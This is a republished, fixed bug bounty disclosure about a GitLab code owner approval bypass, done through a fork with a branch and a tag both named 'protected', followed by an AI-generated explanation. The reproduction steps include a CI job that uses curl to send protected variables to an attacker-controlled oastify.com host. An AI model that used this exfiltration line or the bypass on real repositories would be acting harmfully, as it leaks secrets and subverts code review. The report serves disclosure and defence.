Skip to content
Business logic Disclosed report Advanced

Bypassing Codeowners approve using fork repo

A developer could bypass code owner approval using a forked repo and a branch and tag with the same name, merging unapproved code that reads protected variables and pushes to protected branches.

GitLab

Originally disclosed on GitLab

  • Fixed in 15 days
  • Disclosed after 15 days

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2418591 by ali_shehab on 2024-03-15, assigned to @rshambhuni:

Report | How To Reproduce

Report

Summary

Hey team hope you are doing well. I found another way to bypass codeowners approvals but this time using a forked repo. Allowing to read protected vars of a private group and pushing code to protected branch.

Steps to reproduce

As an owner:

  1. Create a new group, and apply the ultimate trial to it
  2. Create a new private project in that group
  3. Create a CODEOWNERS file, with the following content
[Code Owners]  
*.yml [@]OWNER_USERNAME  
  1. Create a .gitlab-ci.yml file, with the following content
my_job:  
    script:  
        - echo "Hello"  
  1. Navigate to https://gitlab.com/GROUP/PROJECT/-/settings/repository, allow developers and maintainers to merge and toggle on code owners approval
  2. Navigate to https://gitlab.com/GROUP/PROJECT/-/settings/merge_requests, and enable Remove approvals by Code Owners if their files changed
  3. Invite a developer to that group

As the developer:

  1. Fork that project
  2. In the forked project, create a new branch called, protected, and add any "safe" change to the .gitlab-ci.yml file, something similar to
my_job:  
    script:  
        - echo "Hello, this is safe"  
  1. Create an MR targeting the original project's main branch

As the owner:

  1. Approve the MR, the owner at this point is okay with that code being merged into main as it's safe

As the developer:

  1. In the forked project, create a tag called protected
  2. In the forked project, on the protected branch add any change to the README.md (this doesn't require a code owner approval) - verify that the changes page in the MR is messed up
  3. Back to the forked project, on the protected branch add any evil code to the .gitlab-cicd.yml, something similar to
my_job:  
    script:  
        - echo "Hello, this is safe"

job_name:  
    script:  
        - curl -X GET "https://qlfb8ytseezdfmvtee92juuzeqkg85.oastify.com?VAR=$VAR" # any server controlled by the user  
  1. Delete protected tag
  2. On the MR changes page, create a commit that contains any change
  3. Verify that approve persisted, and merge the MR

Impact

Bypassing codeowners approval allowing to read-protected vars of the group and project without having permission, add to that, being able to push unapproved code to protected branches.

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a race condition or confusion between a branch and a tag with the same name in a forked project, causing the merge request to show approved changes while the actual merged code differs.

Impact

A developer could bypass code owner approval to read protected variables and push unapproved code to protected branches.

What the attacker needed

Developer role in a group; code owner approval enabled; ability to fork the project

How it was found

  1. As owner, create a group and private project, add a CODEOWNERS file and a .gitlab-ci.yml, enable code owner approval and removal of approvals.
  2. As developer, fork the project, create a branch named 'protected' with a safe change to .gitlab-ci.yml, and open a merge request to the original project.
  3. As owner, approve the merge request.
  4. As developer, in the fork create a tag named 'protected', add a change to README.md on the 'protected' branch, then add malicious code to .gitlab-ci.yml on that branch.
  5. Delete the 'protected' tag.
  6. On the merge request changes page, create a commit with any change, verify approval persisted, and merge the merge request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Code owners are people who must approve changes to certain files before they can be merged. This report shows a way to trick the system into thinking the code was approved when it was not, by using a fork (a copy of the project) and a branch and tag with the same name. The attacker could then run code that reads secret variables and push to protected branches.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.